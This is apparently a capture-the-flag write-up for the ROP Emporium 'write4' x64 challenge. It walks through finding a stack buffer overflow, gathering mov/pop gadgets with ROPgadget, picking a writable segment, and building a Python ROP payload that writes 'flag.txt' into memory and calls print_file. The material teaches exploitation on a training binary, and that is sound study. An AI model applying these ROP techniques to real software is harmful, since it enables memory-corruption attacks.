Rather than being provided the direct opportunity to write to a memory location, this challenge forces us to use gadgets to discover the write-what-where privilege. This challenge is an extension of the Natural Jumps (x64) challenge.
This challenge provides an interesting difference to the last challenge: the presence of a library file. Not only does the challenge use the standard libc, it also provides an external library containing core functions necessary to run the binary.
We can check the library files being used by using ldd (List Dynamic Dependencies):

This shows us that the executable requires two libraries: libwrite4.so and libc.so.6. libwrite4.so is a custom library containing custom functions and the PLT containing links to the C library functions.
It's arguably more secure as well because of ASLR. Because the address of library files are randomized with ASLR, we can't jump to those functions without knowing their address. It limits the number of gadgets we have to work with.
In order to disassembly pwnme, we must run gdb on the library file instead of the binary itself.
$ gdb libwrite4.so gef➤ disas pwnme Dump of assembler code for function pwnme: 0x00000000000008aa <+0>: push rbp 0x00000000000008ab <+1>: mov rbp,rsp 0x00000000000008ae <+4>: sub rsp,0x20 ...
From here, we see there's the same buffer overflow the other ROP Emporium challenges:
0x000000000000091e <+116>: lea rax,[rbp-0x20] 0x0000000000000922 <+120>: mov edx,0x200 0x0000000000000927 <+125>: mov rsi
We notice a library function printFile that's pretty interesting.
; assembly | /* r2dec pseudo code output */ | /* /ironforge/chall @ 0x7f450891c943 */ | #include <stdint.h> | ; (fcn) sym.print_file () | int64_t print_file (int64_t arg1) { | int64_t var_38h;
We see that this opens a file of our choice, reads it, and prints it out. This is perfect! All we need to do is pass flag.txt to that function and we'll get the flag.
A quick search shows us that flag.txt is not in the binary:
$ strings chall | grep flag < No output >
This introduces the challenge of write-what-where: we must write the flag.txt string to memory before we can call print_file.
Because we need a gadget to write to memory, we need a mov gadget. Let's use ROPgadget and filter for mov, pop, and ret gadgets.
$ ROPgadget --binary chall --only "mov|pop|ret" Gadgets information ================================================
Here, we see two mov gadgets that do valuable things:
0x0000000000400629 : mov dword ptr [rsi], edi ; ret 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
These allow us to move a WORD and QWORD respectively into a location specified by a register. Fortunately, we have gadgets to control all these registers:
0x0000000000400691 : pop rsi ; pop r15 ; ret 0x0000000000400693 : pop rdi ; ret 0x0000000000400690 : pop r14 ; pop r15 ; ret
This means we have write-what-where! We can directly control registers that, from a gadget, allow us to write into memory. This means we have the following choices for write-what-where:
# option 1: write 4 bytes at a time 0x0000000000400693 : pop rdi ; ret 0x0000000000400691 : pop rsi ; pop r15 ; ret 0x0000000000400629 : mov dword ptr [rsi], edi ; ret # option 2: write 8 bytes at a time 0x0000000000400690 : pop r14
Clearly, option 2 is a better choice. We can write more bytes at a time and it takes less jumps to accomplish the same goal. Either way, we will also need the pop rdi gadget to load rdi with the address of our string before calling print_file.
We're missing a location to write to! There are plenty of ways to do this: my preferred way is using vmmap. We must find an rw segment inside the binary:
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /ironforge/chall
To ensure we're not overwriting something important, let's check the segment and find some empty space:
x/20gx 0x601000 0x601000: 0x0000000000600e00 0x00007ffff7ffe2e0 0x601010: 0x00007ffff7fd8d30 0x0000000000400506 0x601020 <print_file@got.plt>: 0x0000000000400516 0x0000000000000000 0x601030: 0x0000000000000000 0x0000000000000000 0x601040
Since it appears empty, I will choose 0x601030 for my address to write to.
We should have all the information we need. Let's write a payload!
First, let's define some variables to represent the values we found:
g_ret = 0x4004E6 g_popRdi = 0x400693 g_popR14R15 = 0x400690 g_write15At14 = 0x400628 f_printFile = 0x400510 a_writeLoc = 0x0601030
Now, let's write the payload. First, overflow the buffer.
payload = b'A' * 40
Then, we must perform the write-what-where.
payload += p64(g_popR14R15) payload += p64(a_writeLoc) payload += p64(b'flag.txt') payload += p64(g_write15At14)
Finally, load the address of the string and call print_file!
payload += p64(g_popRdi) payload += p64(a_writeLoc) payload += p64(f_printFile)
With this payload, we'll get the flag!
